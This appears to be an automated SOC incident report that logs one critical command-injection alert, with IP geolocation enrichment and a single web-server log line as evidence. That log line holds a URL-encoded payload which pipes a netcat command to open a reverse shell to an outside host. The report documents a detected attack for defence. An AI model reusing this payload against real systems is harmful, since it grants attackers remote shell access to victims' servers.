

LOG-BASED SOC PLATFORM

SECURITY INCIDENT REPORT

Incident Batch Size: 1

Incident Summary

| Time | Severity | Rule | Source IP | IOC |
|---------------------------|----------|---------------------------|-------------|-----|
| 02/Nov/2025:12:03:40+0530 | Critical | Command Injection / Shell | 39.39.39.39 | NO |

IP Intelligence & Enrichment

| | |
|--------------|--|
| Primary IP | 39.39.39.39 |
| Private IP | NO |
| Country | PK |
| Region | Sindh |
| City | Karachi |
| Organization | AS17557 Pakistan Telecommunication Company Limited |
| ASN | UNKNOWN |
| Source | CACHE |

Evidence Samples

```
39.39.39.39 - - [02/Nov/2025:12:03:40 +0530] "GET /api?cmd=|nc%20-e%20/bin/sh%20192.0.2.1%209999 HTTP/1.1" 200 40 "-" "Wget/1.19.4"
```